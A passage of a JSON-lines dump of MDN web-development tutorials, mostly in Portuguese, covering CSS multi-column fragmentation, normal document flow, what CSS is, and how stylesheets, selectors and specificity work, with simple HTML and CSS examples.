pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at\n    ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer\n    ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur\n    vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus.\n    Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus\n    sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus.\n    Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis,\n    eget fermentum sapien.\n  </p>\n\n  <p>\n    Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada\n    ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed\n    est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus\n    tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies\n    lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis\n    vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque\n    penatibus et magnis dis parturient montes, nascetur ridiculus mus.\n  </p>\n</div>\n```\n\n\nSomething to take note of is that the rule does not take up any width of its own. It lies across the gap you created with `column-gap`. To make more space either side of the rule you will need to increase the `column-gap` size.\n\nColumns and fragmentation\n-------------------------\n\nThe content of a multi-column layout is fragmented. It essentially behaves the same way as content behaves in paged media — such as when you print a webpage. When you turn your content into a multicol container it is fragmented into columns, and the content breaks to allow this to happen.\n\nSometimes, this breaking will happen in places that lead to a poor reading experience. In the live example below, I have used multicol to lay out a series of boxes, each of which have a heading and some text inside. The heading becomes separated from the text if the columns fragment between the two.\n```\n\nbody {\n  width: 90%;\n  max-width: 900px;\n  margin: 2em auto;\n  font:\n    0.9em/1.2 Arial,\n    Helvetica,\n    sans-serif;\n}\n```\n\n\n\n```html\n<div class=\"container\">\n  <div class=\"card\">\n    <h2>I am the heading</h2>\n    <p>\n      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,\n      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.\n      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.\n    </p>\n  </div>\n\n  <div class=\"card\">\n    <h2>I am the heading</h2>\n    <p>\n      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,\n      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.\n      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.\n    </p>\n  </div>\n\n  <div class=\"card\">\n    <h2>I am the heading</h2>\n    <p>\n      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,\n      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.\n      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.\n    </p>\n  </div>\n  <div class=\"card\">\n    <h2>I am the heading</h2>\n    <p>\n      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,\n      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.\n      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.\n    </p>\n  </div>\n\n  <div class=\"card\">\n    <h2>I am the heading</h2>\n    <p>\n      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,\n      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.\n      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.\n    </p>\n  </div>\n\n  <div class=\"card\">\n    <h2>I am the heading</h2>\n    <p>\n      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,\n      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.\n      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.\n    </p>\n  </div>\n\n  <div class=\"card\">\n    <h2>I am the heading</h2>\n    <p>\n      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,\n      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.\n      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.\n    </p>\n  </div>\n</div>\n```\n\n\n\n```css\n.container {\n  column-width: 250px;\n  column-gap: 20px;\n}\n\n.card {\n  background-color: rgb(207, 232, 220);\n  border: 2px solid rgb(79, 185, 227);\n  padding: 10px;\n  margin: 0 0 1em 0;\n}\n```\n\n\nTo control this behavior we can use properties from the CSS Fragmentation (en-US) specification. This specification gives us properties to control breaking of content in multicol and in paged media. For example, add the property `break-inside` (en-US) with a value of `avoid` to the rules for `.card`. This is the container of the heading and text, and therefore we do not want to fragment this box.\n\nAt the present time it is also worth adding the older property `page-break-inside: avoid` for best browser support.\n\n\n```css\n.card {\n  break-inside: avoid;\n  page-break-inside: avoid;\n  background-color: rgb(207, 232, 220);\n  border: 2px solid rgb(79, 185, 227);\n  padding: 10px;\n  margin: 0 0 1em 0;\n}\n```\n\n\nReload the page and your boxes should stay in one piece.\n```\n\nbody {\n  width: 90%;\n  max-width: 900px;\n  margin: 2em auto;\n  font:\n    0.9em/1.2 Arial,\n    Helvetica,\n    sans-serif;\n}\n```\n\n\n```\n<div class=\"container\">\n  <div class=\"card\">\n    <h2>I am the heading</h2>\n    <p>\n      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,\n      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.\n      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.\n    </p>\n  </div>\n\n  <div class=\"card\">\n    <h2>I am the heading</h2>\n    <p>\n      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,\n      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.\n      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.\n    </p>\n  </div>\n\n  <div class=\"card\">\n    <h2>I am the heading</h2>\n    <p>\n      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,\n      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.\n      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.\n    </p>\n  </div>\n  <div class=\"card\">\n    <h2>I am the heading</h2>\n    <p>\n      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,\n      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.\n      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.\n    </p>\n  </div>\n\n  <div class=\"card\">\n    <h2>I am the heading</h2>\n    <p>\n      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,\n      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.\n      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.\n    </p>\n  </div>\n\n  <div class=\"card\">\n    <h2>I am the heading</h2>\n    <p>\n      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,\n      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.\n      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.\n    </p>\n  </div>\n\n  <div class=\"card\">\n    <h2>I am the heading</h2>\n    <p>\n      Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus\n      aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci,\n      pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc,\n      at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta.\n      Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula.\n    </p>\n  </div>\n</div>\n```\n\n\n\n```css\n.container {\n  column-width: 250px;\n  column-gap: 20px;\n}\n\n.card {\n  break-inside: avoid;\n  page-break-inside: avoid;\n  background-color: rgb(207, 232, 220);\n  border: 2px solid rgb(79, 185, 227);\n  padding: 10px;\n  margin: 0 0 1em 0;\n}\n```\n\nSummary\n-------\n\nYou now know how to use the basic features of multiple-column layout, another tool at your disposal when choosing a layout method for the designs you are building.\n\nSee also\n--------\n\n* CSS Fragmentation (en-US)\n* Using multi-column layouts (en-US)\n* Anterior  (en-US)\n* Menu: CSS layout\n* Próxima"}
{"title":"Fluxo Normal - Aprendendo desenvolvimento web","text":"Fluxo Normal\n============\n\n* Anterior\n* Menu: CSS layout\n* Próxima\n\nEste artigo aborda o *Fluxo Normal* de alinhamento e acomodação do conteúdo de uma página HTML, na qual o desenvolvedor não inseriu estilos pessoais. Este fluxo é um padrão usado pelos navegodares web. É uma solução preguiçosa ou rápida. Se o *Fluxo Normal* por ventura não desagradar o programador, poupado será o seu tempo e esforço. Com o ônus adiado para quando ele quiser algo diferente.\n\n|  |  |\n| --- | --- |\n| Prerrequisitos: | \n Introdução ao HTML (study\n Introduction to HTML), e uma noção de como o CSS funciona (study\n Introduction to CSS (en-US).)\n  |\n| Objectivo: | \n Explicar qual é o leiaute padrão aplicado pelos navegadores web - a um\n arquivo HTML - sempre que não houver estilo ou formatos definidos pelo\n desenvolvedor da referida página.\n  |\n\nConforme detalhado na última lição de introdução ao leiaute, os elementos em uma página da web acomodam-se em Fluxo Normal, quando não é aplicada qualquer regra CSS para alterar a maneira como estes se comportam. And, as we began to discover, you can change how elements behave either by adjusting their position in that normal flow, or removing them from it altogether. Starting with a solid, well-structured document that is readable in normal flow is the best way to begin any webpage. It ensures that your content is readable, even if the user is using a very limited browser or a device such as a screen reader that reads out the content of the page. In addition, as normal flow is designed to make a readable document, by starting in this way you are working with the document rather than fighting against it as you make changes to the layout.\n\nBefore digging deeper into different layout methods, it is worth revisiting some of the things you will have studied in previous modules with regard to normal document flow.\n\nHow are elements laid out by default?\n-------------------------------------\n\nFirst of all, individual element boxes are laid out by taking the elements' content, then adding any padding, border and margin around them — it's that box model thing again, which we've looked at earlier.\n\nBy default, a block level element's content is 100% of the width of its parent element, and as tall as its content. Inline elements are as tall as their content, and as wide as their content. You can't set width or height on inline elements — they just sit inside the content of block level elements. If you want to control the size of an inline element in this manner, you need to set it to behave like a block level element with `display: block;` (or even,`display: inline-block;` which mixes characteristics from both.)\n\nThat explains individual elements, but what about how elements interact with one another? The normal layout flow (mentioned in the layout introduction article) is the system by which elements are placed inside the browser's viewport. By default, block-level elements are laid out in the *block flow direction*, based on the parent's writing mode (*initial*: horizontal-tb) — each one will appear on a new line below the last one, and they will be separated by any margin that is set on them. In English therefore, or any other horizontal, top to bottom writing mode, block-level elements are laid out vertically.\n\nInline elements behave differently — they don't appear on new lines; instead, they sit on the same line as one another and any adjacent (or wrapped) text content, as long as there is space for them to do so inside the width of the parent block level element. If there isn't space, then the overflowing text or elements will move down to a new line.\n\nIf two adjacent elements both have the margin set on them and the two margins touch, the larger of the two remains, and the smaller one disappears — this is called margin collapsing, and we have met this before too.\n\nLet's look at a simple example that explains all of this:\n\n\n```html\n<h1>Basic document flow</h1>\n\n<p>\n  I am a basic block level element. My adjacent block level elements sit on new\n  lines below me.\n</p>\n\n<p>\n  By default we span 100% of the width of our parent element, and we are as tall\n  as our child content. Our total width and height is our content + padding +\n  border width/height.\n</p>\n\n<p>\n  We are separated by our margins. Because of margin collapsing, we are\n  separated by the width of one of our margins, not both.\n</p>\n\n<p>\n  inline elements <span>like this one</span> and <span>this one</span> sit on\n  the same line as one another, and adjacent text nodes, if there is space on\n  the same line. Overflowing inline elements will\n  <span>wrap onto a new line if possible (like this one containing text)</span>,\n  or just go on to a new line if not, much like this image will do:\n  <img src=\"long.jpg\" />\n</p>\n```\n\n\n\n```css\nbody {\n  width: 500px;\n  margin: 0 auto;\n}\n\np {\n  background: rgba(255, 84, 104, 0.3);\n  border: 2px solid rgb(255, 84, 104);\n  padding: 10px;\n  margin: 10px;\n}\n\nspan {\n  background: white;\n  border: 1px solid black;\n}\n```\n\nSummary\n-------\n\nNow that you understand normal flow, and how the browser lays things out by default, move on to understand how to change this default display to create the layout needed by your design.\n\n* Anterior\n* Menu: CSS layout\n* Próxima"}
{"title":"O que é CSS? - Aprendendo desenvolvimento web","text":"O que é CSS?\n============\n\n* Menu: First steps\n* Próxima\n\n**CSS** (Folhas de Estilo em Cascata) permite a você criar páginas web agradáveis, mas como isso funciona por baixo dos panos? Este artigo explica o que é CSS, com um exemplo de sintaxe simples, e, também, trata alguns conceitos-chaves sobre a linguagem.\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conhecimento básico sobre computador,\n softwares básicos instalados, conhecimento básico de\n como trabalhar com arquivos, e conhecimento básico sobre HTML (estude\n Introdução ao HTML.)\n  |\n| Objetivo: | Aprender o que é CSS. |\n\nNo módulo Introdução ao HTML vimos o que é HTML, e como ele é usado para fazer marcação de documentos. Estes documentos serão legíveis em um navegador web. Títulos serão mais largos do que textos comuns, parágrafos quebram em uma nova linha e tendo espaços entre eles. Links são coloridos e sublinhados para distingui-los do resto do texto. O que você está vendo é o estilo padrão do navegador - vários estilos básicos que o navegador aplica ao HTML, para garantir que ele será legível mesmo se não for explicitamente estilizado pelo autor da página web.\n\n![The default styles used by a browser](/pt-BR/docs/Learn/CSS/First_steps/What_is_CSS/html-example.png)\n\nNo entanto, a web seria um lugar chato se todos os web sites tivessem estilos iguais ao mostrado na imagem acima. Usando CSS você pode controlar exatamente a aparência dos elementos HTML no navegador, apresentando a sua marcação com o design que desejar.\n\nPara que serve o CSS?\n---------------------\n\nComo falamos antes, CSS é uma linguagem para especificar como documentos são apresentados aos usuários — como eles são estilizados, dispostos etc.\n\nUm **documento** é normalmente um arquivo texto estruturado usando uma linguagem de marcação — HTML é a linguagem de marcação mais comum, mas você também pode encontrar outras, como SVG ou XML.\n\n**Apresentar** um documento para um usuário significa convertê-lo para um formato utilizável pelo seu público. Browsers, como Firefox, Chrome (en-US), ou Edge (en-US) , são projetados para apresentar documentos visualmente, por exemplo, um uma tela de computador, projetor ou impressora.\n\n**Nota:** **Observação**: Um navegador web é as vezes chamado de user agent (en-US), o que, basicamente, significa um programa de computador que representa uma pessoa por trás do sistema. Navegadores web são o principal tipo de agente do usuário que nos referimos quando falamos sobre CSS, contudo, ele não é o único. Há outros agentes de usuário disponíveis — tais como aqueles que convertem documentos HTML e CSS para PDF a serem impressos.\n\nO CSS pode ser usado para estilizar um documento muito básico de texto — por exemplo, alterando a cor e tamanho dos títulos e links. Pode ser usado para criar layout — por exemplo, transformando uma simples coluna de texto em um layout (en-US) com uma área de conteúdo principal e um sidebar (barra lateral) para as informações relacionadas. Pode até ser usado para efeitos tais como animação (en-US). Dê uma olhada nos links deste parágrafo, para ver exemplos específicos.\n\nSintaxe CSS\n-----------\n\nCSS é uma linguagem baseada em regras. — Você define regras especificando grupos de estilo que devem ser aplicados para elementos particulares ou grupos de elementos na sua página web. Por exemplo, \"Quero que o título principal, na minha página, seja mostrado como um texto grande e de cor vermelha.\".\n\nO código seguinte mostra uma regra CSS muito simples, que chegaria perto do estilo descrito acima:\n\n\n```css\nh1 {\n  color: red;\n  font-size: 5em;\n}\n```\n\n\nA regra é aberta com um selector . Isso *seleciona* o elemento HTML que vamos estilizar. Neste caso, estamos estilizando títulos de nível um (`<h1>` (en-US)).\n\nTemos, então, um conjunto de chaves `{ }`. Dentro deles, haverá uma ou mais **declarações**, que tomam a forma de pares **propriedade** e **valor**. Cada par especifica uma propriedade do(s) elemento(s) que estamos selecionando e, em seguida, então um valor que gostaríamos de atribuir à propriedade\n\nAntes dos dois pontos, temos a propriedade, e, depois, o valor. CSS properties possui diferentes valores permitidos, dependendo de qual propriedade está sendo especificado. Em nosso exemplo, temos a propriedade `color`, que pode tomar vários valores para cor (en-US). Também temos a propriedade `font-size`. Essa propriedade pode ter vários unidades de tamanho (en-US) como um valor.\n\nUma folha de estilo CSS conterá muitas regras tais como essa, escrita uma após a outra.\n\n\n```css\nh1 {\n  color: red;\n  font-size: 5em;\n}\n\np {\n  color: black;\n}\n```\n\n\nVocê constatará que rapidamente aprende alguns valores, enquanto outros precisará pesquisar. As páginas de propriedades individuais no MDN dá a você uma maneira rápida de procurar propriedades e seus respectivos valores, quando você esquecer, ou desejar saber quais valores pode usar.\n\n**Nota:** **Observação**: Você pode achar links para todas as páginas de propriedades CSS (junto com outros recursos CSS) listados no MDN referência CSS. Alternativamente, você deve se acostumar a pesquisar por \"mdn *css-feature-name*\" no seu motor de busca favorito sempre que precisar procurar mais informações sobre uma característica CSS. Por exemplo, experimente pesquisar por \"mdn color\" e \"mdn font-size\"!\n\nMódulos CSS\n-----------\n\nComo existem tantas coisas que você pode estilizar com CSS, a linguagem é dividida em módulos. Verá referência a esses módulos a medida que explora o MDN e muita das páginas da documentação são organizadas em torno de um módulo em particular. Por exemplo, poderia dar uma olhada na referência MDN para os módulos Backgrounds and Borders (en-US) para descobrir qual é o seu objetivo, e quais diferentes propriedades e outras características ele contém. Você também encontrará links para a especificação CSS que define a tecnologia (veja abaixo).\n\nNesse ponto você não precisa se preocupar muito sobre como o CSS é estruturado. No entanto, isso pode tornar fácil achar informação se, por exemplo, você estiver ciente de que uma determinada propriedade provavelmente será encontrada entre outras coisas semelhantes e estiver, portanto, provavelmente na mesma especificação.\n\nPara um exemplo específico, vamos voltar ao módulo Backgrounds e Borders — você pode achar que isso tem um senso lógico para as propriedades `background-color` e `border-color` (en-US) serem definidas neste módulo. E, você está certo!\n\n### Especificações CSS\n\nTodas as tecnologias de padrões web (HTML, CSS, JavaScript, etc.) são definidos em documentos gigantes chamados especificações (ou simplesmente \"specs\"), que são publicados por organizações de padrões (tais como W3C, WHATWG, ECMA, ou Khronos (en-US)) e definem precisamente como essas tecnologias devem se comportar.\n\nCom CSS não é diferente — ele é desenvolvido por um grupo dentro do W3C chamado CSS Working Group. Esse grupo é formado por representantes de fornecedores de navegadores web e outras companhias que tem interesse em CSS. Também existe outras pessoas, conhecidas como peritos convidados *(invited experts*), que agem como vozes independentes; eles não são associados como um membro de alguma organização.\n\nNovas características CSS são desenvolvidas, ou especificadas, pelo CSS Working Group. As vezes, porque um navegador em particular está interessado em alguma capacidade, outras vezes, porque designers web e desenvolvedores estão perguntando por uma característica, e, algumas vezes, porque o Working Group em si tem identificado uma necessidade. O CSS está em constante desenvolvimento, com novas peculiaridades ficando disponíveis. Contudo, uma ideia chave sobre CSS é que todos trabalham pesado para nunca alterar as coisas de uma maneira que não quebrem os sites antigos. Um site construído no ano 2000, usando um CSS limitado da época, deverá ainda ser utilizável em um navegador moderno!\n\nComo iniciante no CSS, é provável que você ache as especificações CSS impressionantes — eles são direcionados a engenheiros para implementar suporte aos recursos nos agentes de usuário (navegadores), não para desenvolvedores lerem com o intuito de entender CSS. Muitos desenvolvedores experientes preferem consultar a documentação do MDN ou outros tutoriais. No entanto, vale a pena saber que eles existem, entender a relação entre o CSS que você usa, suporte ao navegador (veja abaixo), e os specs (especificações).\n\nSuporte do navegador\n--------------------\n\nUma vez que o CSS tenha sido especificado, então se torna útil para nós, em termos de desenvolvimento de páginas web, apenas se um ou mais navegadores implementá-los. Isso significa que o código foi escrito para transformar as instruções do nosso arquivo CSS em algo que possa ser mostrado na tela. Vamos olhar um pouco mais esse processo nas lições Como o CSS funciona. É inusitado implementarem uma característica ao mesmo tempo, e, geralmente, existe uma lacuna na qual se pode usar parte do CSS em alguns navegadores e em outros não. Por esse motivo, ser capaz de verificar o estado da implemtação é útil. Para cada página de propriedade no MDN, pode-se ver o estado dela, que se esta interessado. Assim, você saberá se pode usá-la em uma página.\n\nA seguir, é apresentado o gráfico de dados compat para propriedade CSS `font-family`.\n\n{{Compat}}A seguir\n--------\n\nAgora que você tem algum entendimento do que o CSS é, vamos ao Iniciando com CSS, onde pode começar a escrever alguma coisa, você mesmo.\n\n* Menu: First steps\n* Próxima"}
{"title":"Como CSS é estruturado - Aprendendo desenvolvimento web","text":"Como CSS é estruturado\n======================\n\n* Anterior\n* Menu: First steps\n* Próxima\n\nAgora que você tem uma ideia sobre o que é o CSS e seu uso basico, é hora de olhar um pouco mais a fundo das estruturas da linguagem em si. Nós ja conhecemos muitos conceitos discutidos aqui, entretanto, você pode voltar para qualquer um em específico, se achar algum dos proximos conceitos um tanto confuso\n\n|  |  |\n| --- | --- |\n| Pré-requisitos: | \n Conceitos básicos de computação,\n softwares básicos instalados, conhecimentos básicos de\n operação com arquivos, básico de HTML (veja\n Introdução ao HTML), e uma ideia de\n Como funciona o CSS (en-US).\n  |\n| Objetivo: | Aprender as estruturas da sintaxe básica do CSS em detalhes. |\n\nAplicando CSS no seu HTML\n-------------------------\n\nA primeira coisa que você vai olhar é, os três métodos de aplicação do CSS em um documento.\n\n### Folha de Estilos Externa\n\nEm Começando com o CSS nós linkamos uma folha de estilos externas em nossa página. Isso é o método mais comum utilizado para juntar CSS em um documento, podendo utilizar tal método em multiplas páginas, permitindo você estillizar todas as páginas como as mesmas folha de estilos. Na maioria dos casos, as diferentes páginas do site vão parecer bem iguais entre si e por isso você pode usar as mesmas regras para o estilo padrão da página.\n\n`Uma folha de estilos externa é quando você tem seu CSS escrito em um arquivo separado com uma extensão .css`, e você o refere dentro de um elemento `<link>` do HTML:\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>My CSS experiment</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n  </head>\n  <body>\n    <h1>Hello World!</h1>\n    <p>This is my first CSS example</p>\n  </body>\n</html>\n```\n\n\nO arquivo CSS deve se parecer com algo nesse estilo:\n\n\n```css\nh1 {\n  color: blue;\n  background-color: yellow;\n  border: 1px solid black;\n}\n\np {\n  color: red;\n}\n```\n\n\nO atributo `href` do elemento `<link>`, precisa fazer referência a um arquivo em nosso sistema de arquivos.\n\nNo exemplo abaixo, o arquivo CSS está na mesma pasta que o documento HTML, mas você pode colocá-lo em outro lugar e reajustar o caminho marcado para encontrá-lo, como a seguir:\n\n\n```html\n<!-- Inside a subdirectory called styles inside the current directory -->\n<link rel=\"stylesheet\" href=\"styles/style.css\" />\n\n<!-- Inside a subdirectory called general, which is in a subdirectory called styles, inside the current directory -->\n<link rel=\"stylesheet\" href=\"styles/general/style.css\" />\n\n<!-- Go up one directory level, then inside a subdirectory called styles -->\n<link rel=\"stylesheet\" href=\"../styles/style.css\" />\n```\n\n### Folha de estilos interna\n\nUma folha de estilos interna é usada quando você não tem um arquivo CSS externo, mas, ao contrário, coloca seu CSS dentro de elemento `<style>` localizado no `<head>` do documento HTML.\n\nDeste modo, seu HTML se parecerá assim:\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>My CSS experiment</title>\n    <style>\n h1 {\n color: blue;\n background-color: yellow;\n border: 1px solid black;\n }\n\n p {\n color: red;\n }\n </style>\n  </head>\n  <body>\n    <h1>Hello World!</h1>\n    <p>This is my first CSS example</p>\n  </body>\n</html>\n```\n\n\nIsso pode ser útil em algumas circunstâncias (talvez você esteja trabalhando em um sistema de gerenciamento de conteúdo - CMS - onde não tem permissão para modificar diretamente os arquivos CSS), entretanto isso não é tão eficiente quanto o uso de folhas de estilo externas — em um website, o CSS precisaria ser repetido em todas as páginas e atualizado em vários locais sempre que mudanças fossem necessárias.\n\n### Estilos inline\n\nEstilos inline são declarações CSS que afetam apenas um determinado elemento, inserido em um atributo `style`:\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>My CSS experiment</title>\n  </head>\n  <body>\n    <h1 style=\"color: blue;background-color: yellow;border: 1px solid black;\">\n      Hello World!\n    </h1>\n    <p style=\"color:red;\">This is my first CSS example</p>\n  </body>\n</html>\n```\n\n\n**Por favor, não utilize isso a menos que seja estritamente necessário!** É péssimo para manutenção (você precisará atualizar a mesma informação diversas vezes em cada documento), além do que, mistura sua informação de estilização do CSS com sua informação de estrutura HTML, tornando seu código de difícil leitura e compreensão. Manter diferentes tipos de código separados torna o trabalho muito mais fácil para todos os que trabalham no código.\n\nExistem alguns lugares onde o estilo embutido é mais comum, ou mesmo aconselhável. Você pode ter que recorrer ao uso deles se seu ambiente de trabalho for realmente restritivo (talvez o seu CMS permita apenas que você edite o corpo do HTML). Você também os verá sendo muito usados em e-mails em HTML de modo a obter compatibilidade com o maior número possível de clientes de e-mail.\n\nBrincando com o CSS neste artigo\n--------------------------------\n\nHá muito CSS para brincar neste artigo. Para fazê-lo, recomendamos criar um novo diretório/pasta em seu computador e, dentro dele, criar uma cópia dos seguintes dois arquivos:\n\nindex.html:\n\n\n```html\n<!doctype html>\n<html lang=\"en\">\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>My CSS experiments</title>\n    <link rel=\"stylesheet\" href=\"styles.css\" />\n  </head>\n  <body>\n    <p>Create your test HTML here</p>\n  </body>\n</html>\n```\n\n\nstyles.css:\n\n\n```css\n/\\* Create your test CSS here \\*/\n\np {\n  color: red;\n}\n```\n\n\nEntão, quando você encontrar algum CSS com o qual queira experimentar, substitua o conteúdo do <*body*> HTML por algum HTML para estilizar e comece a adicionar CSS para estilizá-lo dentro do seu arquivo CSS.\n\nSe você não estiver usando um sistema em que possa criar arquivos facilmente, você pode usar o editor interativo abaixo para experimentar.\n\nContinue lendo e divirta-se!\n\nSeletores\n---------\n\nNão é possível falar de CSS sem conhecer os seletores, e nós já descobrimos vários tipos diferentes no tutorial Começando com o Css. Um seletor é o modo pelo qual nós apontamos para alguma coisa no nosso documento HTML para aplicar os estilos à ela. Se os seus estilos não forem aplicados, então é provável que o seu seletor não esteja ligado aquilo que você pensa que ele deveria.\n\nCada regra CSS começa com um seletor ou uma lista de seletores para informar ao navegador em qual elemento ou elementos as regras devem ser aplicadas. Todos os exemplos a seguir são válidos como seletores ou listas de seletores.\n\n\n```css\nh1\na:link\n.manythings\n#onething\n*\n.box p\n.box p:first-child\nh1, h2, .intro\n```\n\n\n**Tente criar algumas regras CSS que usem os seletores acima e algum HTML para ser estilizado por eles. Se você não souber o que significa alguma das sintaxes acima, tente procurar no MDN!**\n\n**Nota:** Você aprenderá muito mais sobre seletores em nossos tutoriais CSS selectors, no próximo módulo.\n\n### Especificidade\n\nMuitas vezes, haverá cenários em que dois seletores podem selecionar o mesmo elemento HTML. Considere a folha de estilo abaixo, onde há uma regra com um seletor p que definirá parágrafos como azuis e também uma classe que definirá elementos selecionados como vermelhos.\n\n\n```css\n.special {\n  color: red;\n}\n\np {\n  color: blue;\n}\n```\n\n\nDigamos que em nosso documento HTML tenhamos um parágrafo com uma classe `special`. Ambas as regras poderiam ser aplicadas, então qual delas vence? Qual cor você acha que nosso parágrafo ficará?\n\n\n```html\n<p class=\"special\">What color am I?</p>\n```\n\n\nA linguagem CSS possui regras para controlar qual regra vencerá em caso de colisão - elas são chamadas de **cascata** e **especificidade**. No bloco de código abaixo, definimos duas regras para o seletor p, mas o parágrafo acaba sendo colorido de azul. Isso ocorre porque a declaração que o define como azul aparece posteriormente na folha de estilo, e estilos mais recentes substituem os anteriores. Isso é a cascata em ação.\n\n\n```css\np {\n  color: red;\n}\n\np {\n  color: blue;\n}\n```\n\n\nNo entanto, no caso do nosso bloco anterior com o seletor de classe e o seletor de elemento, a classe vencerá, tornando o parágrafo vermelho - mesmo que apareça anteriormente na folha de estilo. Uma classe é descrita como sendo mais específica, ou tendo mais especificidade do que o seletor de elemento, então ela vence.\n\n**Experimente o exemplo acima por si mesmo - adicione o HTML ao seu experimento, em seguida, adicione as duas regras p {...} à sua folha de estilo. Em seguida, altere o primeiro seletor p para .special para ver como ele muda o estilo.**\n\nAs regras de especificidade e cascata podem parecer um pouco complicadas no início e são mais fáceis de entender depois que você tiver acumulado mais conhecimento de CSS. Em nosso artigo Cascade and inheritance, que você verá no próximo módulo, explicarei isso em detalhes, incluindo como calcular a especificidade. Por enquanto, lembre-se de que isso existe e que às vezes o CSS pode não ser aplicado como você espera porque algo mais em sua folha de estilo tem uma especificidade maior. Identificar que mais de uma regra pode ser aplicada a um elemento é o primeiro passo para resolver esses problemas.\n\nPropriedades e valores\n----------------------\n\nEm seu nível mais básico, CSS consiste em dois blocos de construção:\n\n* 